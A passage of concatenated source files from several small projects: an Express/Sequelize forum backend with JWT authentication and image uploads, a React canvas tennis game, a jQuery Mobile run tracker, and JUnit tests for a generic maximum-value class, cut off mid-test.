req.params.id, posterId, }); if (req.file) { console.log("found img"); const uploaded = await uploadPromise(req.file.path, { timeout: 60000 }); const storedImage = await Image.create({ imageUrl: { secure_url: uploaded.secure_url, public_id: uploaded.public_id }, threadId: thread.id, }); fs.unlinkSync(req.file.path); } console.log(thread.id); console.log("overall done"); res.send({ thread }); } catch (err) { next(err); } }; <file_sep>module.exports = (err, req, res, next) => { // console.log("error name is: ", err.name); // console.log("err errors: ", err.errors); // console.log("error: ", err); let errObj = { // emailChar: "", // emailSame: "", // usernameSame: "", // code: null, }; console.log("error is: ", err); let code, message, path; if (err.storageErrors) { errObj.imageFormat = err.message; errObj.code = 400; } //for email validation if (err.name === "SequelizeValidationError" && err.errors[0].validatorName === "isEmail") { errObj.emailChar = "invalid email format"; errObj.code = 400; } //for unique constraint if (err.name === "SequelizeUniqueConstraintError" && err.errors[0].path === "users.username") { // code = 400; // message = "username already in use"; // path = "username"; errObj.usernameSame = "username already in use"; errObj.code = 400; } if (err.name === "SequelizeUniqueConstraintError" && err.errors[0].path === "users.email") { // code = 400; // message = "email already in use"; // path = "email"; errObj.emailSame = "email already in use"; errObj.code = 400; } if (err.name === "validationErrorObject") { // console.log(JSON.stringify(err.message)); errObj = { ...errObj, ...JSON.parse(err.message) }; errObj.code = 400; } if (err.name === "JsonWebTokenError") { code = 401; } if (err.name === "TokenExpiredError") { code = 401; } // console.log(errObj); res.status(errObj.code || 500).send({ message: Object.keys(errObj).length !== 0 ? errObj : err.message, // path: path, // name: err.name, }); }; <file_sep>const { Thread, Image, Community, CommunityTag, Tag, CommunityMember, User, ThreadLike, ThreadReply, ReplyReply, } = require("../models"); const { Sequelize } = require("sequelize"); exports.addReply = async (req, res, next) => { try { //content, threadId,replierId const { content, threadId, replierId } = req.body; const addedReply = await ThreadReply.create({ content, threadId, replierId, }); res.send({ addedReply }); } catch (err) { next(err); } }; <file_sep>module.exports = (sequelize, DataTypes) => { const Community = sequelize.define( "Community", { id: { type: DataTypes.UUID, defaultValue: DataTypes.UUIDV4, primaryKey: true, }, communityName: { type: DataTypes.STRING, allowNull: false, unique: true, }, description: { type: DataTypes.STRING, allowNull: false, }, communityImage: { type: DataTypes.JSON, // validate: { isUrl: true }, }, }, { underscored: true } ); Community.associate = (models) => { Community.hasOne(models.ChatRoom, { foreignKey: { name: "participantId", allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); Community.hasMany(models.CommunityMember, { foreignKey: { name: "communityId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); Community.hasMany(models.CommunityTag, { foreignKey: { name: "communityId", allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); Community.hasMany(models.Thread, { foreignKey: { name: "communityId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); }; return Community; }; <file_sep>const router = require("express").Router(); // const authController = require("../controllers/authController"); const passport = require("passport"); const { createCommunity, getAllTags } = require("../controllers/createCommunityController"); const { upload } = require("../controllers/uploadController"); // router.post("/login", authController.loginUser); // upload.single(fieldName); => in formdata that you'll send here, name it cloudinput router.get("/", passport.authenticate("jwt", { session: false }), getAllTags); router.post("/", passport.authenticate("jwt", { session: false }), upload.single("cloudinput"), createCommunity); module.exports = router; <file_sep>const passport = require("passport"); const { addReply } = require("../controllers/replyController"); const router = require("./authRoute"); router.post("/create", passport.authenticate("jwt", { session: false }), addReply); module.exports = router; <file_sep>module.exports = (sequelize, DataTypes) => { const Thread = sequelize.define( "Thread", { id: { type: DataTypes.UUID, defaultValue: DataTypes.UUIDV4, primaryKey: true, }, title: { type: DataTypes.STRING, allowNull: false, }, content: { type: DataTypes.STRING(5000), allowNull: false, }, // likeCount: { // type: DataTypes.INTEGER, // allowNull: false, // defaultValue: 0, // }, }, { underscored: true } ); Thread.associate = (models) => { Thread.belongsTo(models.User, { foreignKey: { name: "posterId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); Thread.belongsTo(models.Community, { foreignKey: { name: "communityId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); Thread.hasMany(models.ThreadReply, { foreignKey: { name: "threadId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); Thread.hasMany(models.ThreadLike, { foreignKey: { name: "threadId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); Thread.hasMany(models.Image, { foreignKey: { name: "threadId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); }; return Thread; }; <file_sep>const { Strategy: JwtStrategy, ExtractJwt } = require("passport-jwt"); const passport = require("passport"); const { User } = require("../models/"); const options = { secretOrKey: process.env.JWT_SECRET_KEY, jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(), }; //returns 'unauthorized when failed //payload === token //done === callback (executed when verification suceeds) const jwtStrategy = new JwtStrategy(options, async (payload, done) => { console.log(payload); try { const user = await User.findOne({ where: { id: payload.id } }); if (!user) { return done(null, false); } done(null, "successful token verification"); } catch (err) { done(err, false); } }); passport.use("jwt", jwtStrategy); <file_sep>module.exports = (sequelize, DataTypes) => { const CommunityMember = sequelize.define( "CommunityMember", { id: { type: DataTypes.UUID, defaultValue: DataTypes.UUIDV4, primaryKey: true, }, memberRole: { type: DataTypes.ENUM("member", "owner", "moderator"), allowNull: false, }, }, { underscored: true } ); CommunityMember.associate = (models) => { CommunityMember.belongsTo(models.Community, { foreignKey: { name: "communityId", allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); CommunityMember.belongsTo(models.User, { foreignKey: { name: "userId", allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); }; return CommunityMember; }; <file_sep>const { User } = require("../models"); const bcrypt = require("bcryptjs"); const jwt = require("jsonwebtoken"); const CustomerError = require("../ultils/error"); const userValidate = require("../services/userValidate"); const passwordValidate = require("../services/passwordValidate"); exports.registerUser = async (req, res, next) => { try { // let hasError = false; const errMessage = { // usernameLength: "", // usernameChar: "", // passwordLength: "", // passwordChar: "", // confirmPassword: "", }; const { username, email, password, confirmPassword, birthDate } = req.body; if (!userValidate.validateLength(username)) { console.log("**********userLength"); errMessage.usernameLength = "username must be 6-12 characters long"; hasError = true; // throw new CustomerError("username must be 6-12 characters long", 400, "username"); } if (!userValidate.validateCharacter(username)) { console.log("**********userChar"); errMessage.usernameChar = "username must consists of alphabets, number, dash, or underscore only"; hasError = true; // throw new CustomerError( // "username must consists of alphabets, number, dash, or underscore only", // 400, // "username" // ); } if (password !== confirmPassword) { console.log("**********confpass"); errMessage.confirmPassword = "confirm password does not match"; hasError = true; // throw new CustomerError("confirm password does not match", 400); } if (!passwordValidate.validateLength(password)) { console.log("**********passlength"); errMessage.passwordLength = "password must be at least 8 characters long"; hasError = true; // throw new CustomerError("password must be at least 8 characters long", 400, "password"); } if (!passwordValidate.validateCharacter(password)) { console.log("**********passschar")( (errMessage.passwordChar = "password must contain small letter, capitalized letter, and number") ), (hasError = true); // throw new CustomerError( // "password must contain small letter, capitalized letter, and number", // 400, // "password" // ); } // if (hasError) { if (Object.keys(errMessage).length !== 0) { console.log(errMessage); throw new CustomerError(JSON.stringify(errMessage), 400, "validationErrorObject"); } const hashed = await bcrypt.hash(password, 12); const toAdd = { username, email, password: <PASSWORD>, birthDate, }; const user = await User.create({ ...toAdd }); console.log(user); res.send({ user }); } catch (err) { console.dir(err); console.log("regis err: ", err); next(err); } }; exports.loginUser = async (req, res, next) => { try { const { username, password } = req.body; const result = await User.findOne({ where: { username } }); if (!result) { return res.status(400).send({ message: "incorrect username or password", name: "loginError" }); } const isPasswordCorrect = await bcrypt.compare(password, result.password); if (isPasswordCorrect) { const payload = { id: result.id, username: result.username, email: result.email, userType: result.userType, }; const token = jwt.sign(payload, process.env.JWT_SECRET_KEY, { expiresIn: "1d" }); res.send({ token }); //will be used on frontend } else { return res.status(400).send({ message: "incorrect username or password", name: "loginError" }); } } catch (err) { next(err); } }; <file_sep>const { Community, CommunityTag, Tag, CommunityMember } = require("../models"); const cloudinary = require("cloudinary").v2; const fs = require("fs"); const util = require("util"); const uploadPromise = util.promisify(cloudinary.uploader.upload); const { Op } = require("sequelize"); exports.getAllTags = async (req, res, next) => { try { const tags = await Tag.findAll({ attributes: ["id", "tagName"] }); // console.log(JSON.stringify(tags, null, 2)); res.send({ tags }); } catch (err) { next(err); } }; exports.createCommunity = async (req, res, next) => { try { console.log("req.file: ", req.file); const { communityName, tag, description, userId } = req.body; const result = await uploadPromise(req.file.path, { timeout: 60000 }); // console.log(result); const community = await Community.create({ communityName, description, communityImage: { secure_url: result.secure_url, public_id: result.public_id }, }); fs.unlinkSync(req.file.path); const tagResult = await Tag.findAll({ where: { [Op.or]: [{ tagName: tag }], }, attributes: ["id"], }); console.log("community from above: ", community); // console.log("tagres to use: ", JSON.stringify(tagResult, null, 2)); const tagIdToAdd = tagResult.map((item) => ({ tagId: item.id, communityId: community.id })); // // console.log("tagres to use: ", tagResult); // console.log("tag id to add", tagIdToAdd); // const communityTagResult = await CommunityTag.bulkCreate({communityId: community.result.id, tagId: }) const communityTagResult = await CommunityTag.bulkCreate(tagIdToAdd); await CommunityMember.create({ memberRole: "owner", communityId: community.id, userId, }); // res.send({ success: true }); res.send({ community }); // res.send({ success: true, tagResult }); } catch (err) { next(err); } }; <file_sep>module.exports = (sequelize, DataTypes) => { const Image = sequelize.define( "Image", { id: { type: DataTypes.UUID, defaultValue: DataTypes.UUIDV4, primaryKey: true, }, imageUrl: { type: DataTypes.JSON, }, }, { underscored: true } ); Image.associate = (models) => { Image.belongsTo(models.Thread, { foreignKey: { name: "threadId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); Image.belongsTo(models.ChatLog, { foreignKey: { name: "chatLogId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); }; return Image; }; <file_sep>module.exports = (sequelize, DataTypes) => { const ChatLog = sequelize.define( "ChatLog", { id: { type: DataTypes.UUID, defaultValue: DataTypes.UUIDV4, primaryKey: true, }, message: { type: DataTypes.STRING, }, }, { underscored: true } ); ChatLog.associate = (models) => { ChatLog.belongsTo(models.ChatRoom, { foreignKey: { name: "roomId", allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); ChatLog.belongsTo(models.User, { foreignKey: { name: "senderId", allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); ChatLog.hasMany(models.Image, { foreignKey: { name: "chatLogId", // allowNull: false, }, onDelete: "RESTRICT", onUpdate: "RESTRICT", }); }; return ChatLog; };
9e52dca6556b4ada738a5183daacd0783e818788
[ "JavaScript" ]
16
JavaScript
ruatapattan/intersiasts-backend
afbbc12131daa65a28678bf8280225a8d93c59f3
54c08f977e2b7681ada72169095a5ca112518306
refs/heads/master
<file_sep># Deep Learning using Keras Prerequisites: - Python 2.7 64-bit (Recommend to use Enthought Canopy or Anaconda) - SciPy with NumPy - Matplotlib - Theano (http://deeplearning.net/software/theano/) - Keras (https://keras.io/) - Seaborn (http://seaborn.pydata.org/) Projects: - 1. CNN for recognizing MNIST handwritten digits (keras_mnist.py) - 2. Single Layer NN for classifying iris flower dataset (keras_cnn_iris.py) - 3. LSTM for Time-Series Prediction on International Airline Passengers (keras_lstm_airline.py) - 4. RNN for New Baby Name Generator (Baby Boy Name Generator.ipynb/utils.py/babyboy100.txt) <file_sep>''' Trains a simple CNN on the iris dataset ~98.7% test accuracy after 100 epochs ''' import numpy as np from keras.models import Sequential from keras.layers import Dense, Dropout, Activation, Flatten from keras.layers import Convolution2D, MaxPooling2D from keras.utils import np_utils from sklearn.cross_validation import train_test_split from matplotlib import pyplot as plt import seaborn as sns df = sns.load_dataset("iris") np.random.seed(123) # for reproducibility #- Show sample data #df.head() # Setup train and test sets data_all = df.values[:,:4] label_all = df.values[:, 4] X_train, X_test, y_train, y_test = train_test_split(data_all, label_all, train_size=0.5, random_state=0) # Initial Data Sanity Check #print X_train.shape #print Y_train[:10] sns.pairplot(df, hue="species") #====== Preprocess Data Labels ====== def one_hot_encode_object_array(arr): '''One hot encode a numpy array of objects (e.g. strings)''' uniques, ids = np.unique(arr, return_inverse=True) return np_utils.to_categorical(ids, len(uniques)) Y_train = one_hot_encode_object_array(y_train) Y_test = one_hot_encode_object_array(y_test) #print Y_train.shape #print Y_train[:10] #====== Model ====== # We have four features and three classes, so the input layer must have four units, and the output layer must have three units. # We're only going to have one hidden layer for this project, and we'll give it 16 units. model = Sequential() #The next two lines define the size input layer (input_shape=(4,), and the size and activation function of the hidden layer model.add(Dense(16, input_shape=(4,), activation='sigmoid')) # now: model.output_shape == (None, 16) # Compile the model model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy']) # Fit the model on training Data model.fit(X_train, Y_train, batch_size=1, nb_epoch=100, verbose=0) loss, accuracy = model.evaluate(X_test, Y_test, verbose=0) print("Accuracy = {:.3f}".format(accuracy)) # Accuracy = 0.987 <file_sep>import numpy as np from keras.models import Sequential from keras.layers import Dense, Dropout, Activation, Flatten from keras.layers import Convolution2D, MaxPooling2D from keras.utils import np_utils from matplotlib import pyplot as plt from keras.datasets import mnist # Load pre-shuffled MNIST data into train and test sets (X_train, y_train), (X_test, y_test) = mnist.load_data() # Initial check for the data #print X_train.shape #plt.imshow(X_train[0]) #====== Preprocess Data ====== X_train = X_train.reshape(X_train.shape[0],1,28,28) X_test = X_test.reshape(X_test.shape[0],1,28,28) #print X_train.shape X_train = X_train.astype('float32') X_test = X_test.astype('float32') X_train /= 255 X_test /= 255 #====== Preprocess Data Labels ====== #print y_train.shape #print y_train[:10] # Preprocess class labels as Categories Y_train = np_utils.to_categorical(y_train,10) Y_test = np_utils.to_categorical(y_test,10) #print Y_train.shape #print Y_train[:10] #====== Define CNN Model ====== model = Sequential() #- declare CNN input layer model.add(Convolution2D(32,3,3,activation='relu', input_shape=(1,28,28))) #print model.output_shape model.add(Convolution2D(32,3,3,activation='relu')) model.add(MaxPooling2D(pool_size=(2,2))) # Add dropout to regularize our CNN model to prevent overfitting model.add(Dropout(0.25)) # Fully Connected Dense Layer model.add(Flatten()) model.add(Dense(128, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(10, activation='softmax')) # Compile the model #model.compile(loss='categorical_crossentropy', # optimizer='adam', # metrics=['accuracy']) # Fit the model on training Data #model.fit(X_train, Y_train, batch_size=32, nb_epoch=10, verbose=1) # Compile Model using SGD optimizer model.compile(loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) # Fit the model on training Data model.fit(X_train, Y_train, batch_size=32, nb_epoch=5, verbose=1) loss, accuracy = model.evaluate(X_test, Y_test, verbose=0) print("Accuracy = {:.3f}".format(accuracy)) # Accuracy = 0.992
553f93e7fdc682b9955ee1d173611049c80ed40e
[ "Markdown", "Python" ]
3
Markdown
rygiggsy/DeepLearning_Keras
48e528e943068f1e2acc9585fae8f91975b26836
a0e9c497a794088beb037186324dcc84d88881d7
refs/heads/master
<repo_name>tknrhys16/DQruby<file_sep>/main.rb class Brave end
d037721efb8296e6e478d08dfd37d67e68425ebe
[ "Ruby" ]
1
Ruby
tknrhys16/DQruby
776d388daa67cde7e6764b307b90c8a14f027aa5
4984613b6cac333b4f1b309b757e9e5e5049e293
refs/heads/master
<repo_name>kodehaus/yahooStats<file_sep>/config/index.js // config.js const dotenv = require('dotenv'); const result = dotenv.config(); module.exports = { port: process.env.HOST_PORT, httpsPort: process.env.HOST_HTTPS_PORT, hostUrl: process.env.HOST_URL, yahooRedirectUrl: process.env.YREDIRECT_BASE_URL + ":" + process.env.HOST_HTTPS_PORT +"/" + process.env.YREDIRECT_BASE_PAGE, yahooAppSecret: process.env.YAPPLICATION_SECRET, yahooAppKey: process.env.YAPPLICATION_KEY, yahooAppCallbackFunction: process.env.YTOKEN_CALLBACK_FUNCTION };<file_sep>/test/primary.spec.js const { expect } = require("chai"); const path = require("path"); const serverConfig = require('../config'); const fsPromise = require("fs").promises; const axios = require("axios").default; const Procmonrest = require("procmonrest"); const serverUrl = serverConfig.hostUrl + ":" +serverConfig.port ; describe("server config", function() { it("should have valid port number", async function () { //Given //When const actual = parseInt(serverConfig.port, 10); // Then expect(actual).to.be.a('number'); }); it("should have a valid host name", async function () { //Given //When const actual = serverConfig.hostUrl; // Then expect(actual.startsWith("http://")).to.be.true; }); }); describe("an end-to-end test", function () { const serverProcess = new Procmonrest({ command: "npm start", waitFor: /listening on port \d{2|3|4|5}/i, }); before(() => { return serverProcess.start(); }); after(() => { if (serverProcess.isRunning) { return serverProcess.stop(); } }); describe("Yahoo player search", function () { it("default url responds", async function () { //given const actual = (await axios.get(serverUrl)).status; //when const expected = 200; //then expect(actual).to.equal(expected); }); }); }); <file_sep>/app.js const express = require('express'); const exphbs = require('express-handlebars'); const https = require('https'); const http = require('http'); const fs = require('fs'); const Cookies = require('cookies'); const serverConfig = require('./config'); const YahooFantasy = require('yahoo-fantasy'); const app = express(); const bodyParser = require('body-parser'); const cookieParser = require('cookie-parser'); //set up the https for ssl call backs const options = { key: fs.readFileSync('./key.pem'), cert: fs.readFileSync('./cert.pem'), requestCert: false, rejectUnauthorized: false }; //setting middleware app.use(express.static('public')) app.engine('handlebars', exphbs({defaultLayout: 'main'})); app.set('view engine', 'handlebars'); //TODO refactof this file to serve from the styles folder app.use("/style.css", express.static('style.css')) app.use(bodyParser.urlencoded({extended: false})); app.use(cookieParser()); function refreshToken(paramA, paramB){ console.log('loggin the refresh token: ') console.log('refresh token'); } // set up the yahoo ff module const yf = new YahooFantasy( serverConfig.yahooAppKey, // Yahoo! Application Key serverConfig.yahooAppSecret, // Yahoo! Application Secret refreshToken, // callback function when user token is refreshed (optional) serverConfig.yahooRedirectUrl // redirect endpoint when user authenticates (optional) ); //create the http service const server = http.createServer(app); //create the https service const httpsServer = https.createServer(options, app); //start the http service server.listen(serverConfig.port, function(){ console.log(`listening on port ${server.address().port}`); console.log(`${serverConfig.yahooRedirectUrl}`); }); //start the https service httpsServer.listen(serverConfig.httpsPort, function() { console.log(`Https server listening on port: ${httpsServer.address().port}`); }) function transferCredentials(responseObj){ const curDateTime = new Date(); const accessObj = {}; accessObj.access_token = responseObj.access_token; accessObj.refresh_token = responseObj.refresh_token; accessObj.expires_in = dt.addSeconds(curDateTime, responseObj.expires_in); //3600; accessObj.token_type = responseObj.token_type; //'bearer'; return accessObj; } // Yahoo auth route app.get('/auth/yahoo', (req, res) => { // if the user is not authenticated call the yahoo auth function to load the yahoo login page yf.auth(res); }); // Yahoo call back route app.get("/auth/yahoo/callback", (req, res) => { yf.authCallback(req, refreshToken); // console.log(JSON.stringify(yahooFantasy)); res.redirect('/'); res.end(); // app.yahooFantasy.authCallback(req, (err) => { // if (err) { // return res.redirect("/error"); // } // return res.redirect("/"); // }); }); app.get('/', function (req, res, next) { res.render('home'); }); module.exports = server;
536c8acc56fe4906de04b9586b80beb7fa5635e7
[ "JavaScript" ]
3
JavaScript
kodehaus/yahooStats
8598a5fbcbfa726cff0c4ee736c74f9f4824b2c4
38362c3e14212f7bcd5b9d399066bce8326828c5
refs/heads/master
<repo_name>TheyCallMeAlexander/Tennis<file_sep>/pages/index.js import Tennis from "../components/tennis"; export default () => { return <> <style jsx global>{` body { margin: 0; } `}</style> <Tennis/> </> }; <file_sep>/components/tennis.js // let windowOnload = function() { // canvas.addEventListener('mousedown', handleMouseClick); // canvas.addEventListener('mousemove', // function(evt) { // let mousePos = calculateMousePos(evt); // paddle1Y = mousePos.y - (PADDLE_HEIGHT/2); // }); // } class CanvasTennisComponent extends React.Component { state = { canvas: null, canvasContext: null, ballX: 50, ballY: 50, ballSpeedX: 10, ballSpeedY: 4, player1Score: 0, player2Score: 0, WINNING_SCORE: 3, showingWinScreen: false, paddle1Y: 250, paddle2Y: 250, PADDLE_THICKNESS: 10, PADDLE_HEIGHT: 100, frames: 40, } componentDidMount() { // this.updateCanvas(); setInterval(() => this.updateCanvas(), 1000 / this.state.frames); } calculateMousePos(event) { const canvas = this.refs.canvas; let rect = canvas.getBoundingClientRect(); let root = document.documentElement; let mouseX = event.clientX - rect.left - root.scrollLeft; let mouseY = event.clientY - rect.top - root.scrollTop; return { x: mouseX, y: mouseY }; } handleMouseClick(event) { if(this.state.showingWinScreen) { this.setState({ player1Score: 0, player2Score: 0, showingWinScreen: false }); } } ballReset() { if(this.state.player1Score >= this.state.WINNING_SCORE || this.state.player2Score >= this.state.WINNING_SCORE) { this.setState({showingWinScreen: true }); } this.setState({ ballSpeedX: -this.state.ballSpeedX, ballX: this.refs.canvas.width / 2, ballY: this.refs.canvas.height / 2 }); } computerMovement() { let paddle2YCenter = this.state.paddle2Y + (this.state.PADDLE_HEIGHT / 2); if(paddle2YCenter < this.state.ballY - 35) { this.setState({paddle2Y: this.state.paddle2Y + 6 }); } else if(paddle2YCenter > this.state.ballY + 35) { this.setState({paddle2Y: this.state.paddle2Y - 6 }); } } moveEverything() { if(this.state.showingWinScreen) { return; } this.computerMovement(); this.setState({ ballX: this.state.ballX + this.state.ballSpeedX, ballY: this.state.ballY + this.state.ballSpeedY }); if(this.state.ballX < 0) { if(this.state.ballY > this.state.paddle1Y && this.state.ballY < this.state.paddle1Y + this.state.PADDLE_HEIGHT) { this.state.ballSpeedX = -this.state.ballSpeedX; let deltaY = this.state.ballY - (this.state.paddle1Y + this.state.PADDLE_HEIGHT / 2); this.setState({ballSpeedY: deltaY * 0.35}); } else { this.setState({player2Score: this.state.player2Score + 1}); this.ballReset(); } } if(this.state.ballX > this.refs.canvas.width) { if(this.state.ballY > this.state.paddle2Y && this.state.ballY < this.state.paddle2Y + this.state.PADDLE_HEIGHT) { this.setState({ballSpeedX: -this.state.ballSpeedX }); let deltaY = this.state.ballY -(this.state.paddle2Y + this.state.PADDLE_HEIGHT / 2); this.setState({ballSpeedY: deltaY * 0.35}); } else { this.setState({player1Score: this.state.player1Score+ 1}); this.ballReset(); } } if(this.state.ballY < 0) { this.setState({ballSpeedY: -this.state.ballSpeedY }); } if(this.state.ballY > this.refs.canvas.height) { this.setState({ballSpeedY: -this.state.ballSpeedY}); } } drawNet() { for(let i = 0; i < this.refs.canvas.height; i += 40) { this.colorRect(this.refs.canvas.width / 2 - 1, i, 2, 20, 'white'); } } updateCanvas() { this.moveEverything(); const canvas = this.refs.canvas; const canvasContext = canvas.getContext('2d'); // next line blanks out the screen with black this.colorRect(0, 0, canvas.width, canvas.height, "black"); if(this.state.showingWinScreen) { canvasContext.fillStyle = 'white'; if(this.state.player1Score >= this.state.WINNING_SCORE) { canvasContext.fillText("Left Player Won", 350, 200); } else if(this.state.player2Score >= this.state.WINNING_SCORE) { canvasContext.fillText("Right Player Won", 350, 200); } canvasContext.fillText("click to continue", 350, 500); return; } this.drawNet(); // this is left player paddle this.colorRect( 0, this.state.paddle1Y, this.state.PADDLE_THICKNESS, this.state. PADDLE_HEIGHT, 'white' ); // this is right computer paddle this.colorRect( canvas.width - this.state.PADDLE_THICKNESS, this.state.paddle2Y, this.state.PADDLE_THICKNESS, this.state.PADDLE_HEIGHT,'white' ); // next line draws the ball this.colorCircle(this.state.ballX, this.state.ballY, 10, 'white'); canvasContext.fillText(this.state.player1Score, 100, 100); canvasContext.fillText(this.state.player2Score, canvas.width-100, 100); } colorCircle(centerX, centerY, radius, drawColor) { const canvas = this.refs.canvas; const canvasContext = canvas.getContext('2d'); canvasContext.fillStyle = drawColor; canvasContext.beginPath(); canvasContext.arc(centerX, centerY, radius, 0, Math.PI*2, true); canvasContext.fill(); } colorRect(leftX,topY, width,height, drawColor) { const canvas = this.refs.canvas; const canvasContext = canvas.getContext('2d'); canvasContext.fillStyle = drawColor; canvasContext.fillRect(leftX,topY, width,height); } render() { return ( <canvas ref="canvas" width={800} height={600} onMouseDown={() => this.handleMouseClick() } onMouseMove={(event) => { let mousePos = this.calculateMousePos(event); this.setState({ paddle1Y: mousePos.y - (this.state.PADDLE_HEIGHT / 2) }); }} style={{margin: "auto", display: "block"}} > </canvas> ); } } export default CanvasTennisComponent;<file_sep>/README.md # Tennis ## To run the project type ``` npm i && npm start ``` ## Watch Live https://tennis-app-kirjnwfqpn.now.sh/
4b36be587024d083ca53ecc13ec9ff82048a27a1
[ "JavaScript", "Markdown" ]
3
JavaScript
TheyCallMeAlexander/Tennis
2dd9c09f783122d281077b2d95188e1389f84e41
9f90e18b278d73735960810e3dd3c4fd693f30b4
refs/heads/master
<file_sep>$(document).one('pageinit', function() { showRuns(); $('#submit-x').on('tap', addOrEditRun); $('.delete-run').on('tap', deleteRun); $('.edit-run').on('tap', editRun); $('#clear-runs').on('tap', clearRuns); function showRuns() { var runs = getRuns(); var len = runs.length; var msg = (len > 0) ? "Your latest runs" : "You have no runs"; $("#run-heading").html(msg); for (var i = 0; i < runs.length; i++) { $('#stats').append( '<li class="ui-body-inhereit ui-li-static"' + 'data-index="' + i + '"' + ' >' + '<strong>Date: </strong>' + runs[i]["date"] + '<br>' + '<strong>Distance: </strong>' + runs[i]["mile"] + ' mile(s)' + '<div class="controls">' + '<a href="#add" class="edit-run">Edit</a> | <a class="delete-run" href="#">Delete</a>' + '</div>' + '</li>'); } $('#home').bind('pageinit', function () { $('#stats').listview('refresh'); }); } function editRun() { var i = $(this).parent().parent().data("index"); var runs = getRuns(); $('#add-mile').val(runs[i]["mile"]); $('#add-date').val(runs[i]["date"]); //Set the index of entry to be updated before the // addOrEditeRun() is called. $("#submit-x").attr("data-index", i.toString()); $(".operation-title").html("Edit Run"); } // Add Run Data function addOrEditRun() { // Get user inputs var miles = $('#add-mile').val(); var date = $('#add-date').val(); var msg = "Run added"; // Turn the user input into the run object var run = { date: date, mile: parseFloat(miles) }; // If this call comes from edit then delete the old one // before adding the current run to the existing runs in the local storage var runs = getRuns(); var index = $(this).data("index"); if (index != null) { runs.splice(index, 1); msg = "Run edited"; } // add the current run to the existing runs in the local storage runs.push(run); localStorage.setItem('runs', JSON.stringify(runs)); // Give confirmation to the user alert(msg); window.location.href="index.html"; return false; }; function deleteRun() { var i = $(this).parent().parent().data("index"); var runs = getRuns(); runs.splice(i, 1); localStorage.setItem('runs', JSON.stringify(runs)); window.location.href="index.html"; } function clearRuns() { localStorage.removeItem('runs'); window.location.href="index.html"; } // Get runs from local storage function getRuns() { var runs = new Array(); var currentRuns = localStorage.getItem('runs'); if (currentRuns != null) { runs = JSON.parse(currentRuns); } // Sort by date return(runs.sort(function(a,b){return new Date(b.date) - new Date(a.date)})); // Sort by miles // return(runs.sort(function(a,b){return b.mile - a.mile})); } });
d619530be4f1a7173ac7064dc224456666d1b7db
[ "JavaScript" ]
1
JavaScript
jadetiger88/jt-js-jq-mobil
640b80dc726f8ddc699394a4a557ce3a1238ecf7
d3fc1bff8a3f1f84809884d029c3c58ca32ede44
refs/heads/master
<repo_name>sandipk01/Maximum-Problem-using-Generics<file_sep>/src/test/java/TestMaximumValue.java import org.junit.Assert; import org.junit.Test; public class TestMaximumValue { private MaximumValue maximumValue; @Test public void findingMaxIntegerValue_GivenFirstParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(); Integer maximumInteger = (Integer) maximumValue.getMaxValue(7, 4, 2); Assert.assertEquals((Integer) 7, maximumInteger); } @Test public void findingMaxIntegerValue_GivenSecondParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(); Integer maximumInteger = (Integer) maximumValue.getMaxValue(4, 7, 2); Assert.assertEquals((Integer) 7, maximumInteger); } @Test public void findingMaxIntegerValue_GivenThirdParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(); Integer maximumInteger = (Integer) maximumValue.getMaxValue(4, 2, 7); Assert.assertEquals((Integer) 7, maximumInteger); } @Test public void findingMaxFloatValue_GivenFirstParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(); Float maximumFloat = (Float) maximumValue.getMaxValue(10.9f, 4.5f, 7.5f); Assert.assertEquals((Float) 10.9f, maximumFloat); } @Test public void findingMaxFloatValue_GivenSecondParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(); Float maximumFloat = (Float) maximumValue.getMaxValue(4.5f, 10.9f, 7.5f); Assert.assertEquals((Float) 10.9f, maximumFloat); } @Test public void findingMaxFloatValue_GivenThirdParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(); Float maximumFloat = (Float) maximumValue.getMaxValue(4.5f, 7.5f, 10.9f); Assert.assertEquals((Float) 10.9f, maximumFloat); } @Test public void findingMaxStringValue_GivenFirstParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(); String maximumFloat = (String) maximumValue.getMaxValue("Honda", "Ferrari", "Bmw"); Assert.assertEquals("Honda", maximumFloat); } @Test public void findingMaxStringValue_GivenSecondParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(); String maximumFloat = (String) maximumValue.getMaxValue("Ferrari", "Honda", "Bmw"); Assert.assertEquals("Honda", maximumFloat); } @Test public void findingMaxStringValue_GivenThirdParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(); String maximumFloat = (String) maximumValue.getMaxValue("Ferrari", "Bmw", "Honda"); Assert.assertEquals("Honda", maximumFloat); } @Test public void findingMaxIntegerValue_GivenFromConstructorAtFirstParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(7, 4, 5); Integer maximumInteger = (Integer) maximumValue.testMaximum(); Assert.assertEquals((Integer) 7, maximumInteger); } @Test public void findingMaxIntegerValue_GivenFromConstructorAtSecondParameter_ShouldReturnMaxValue() { maximumValue = new MaximumValue(4, 7, 5); Integer maximumInteger = (Integer) maximumValue.testMaximum(); Assert.assertEquals((Integer) 7, maximumInteger); } @Test public void 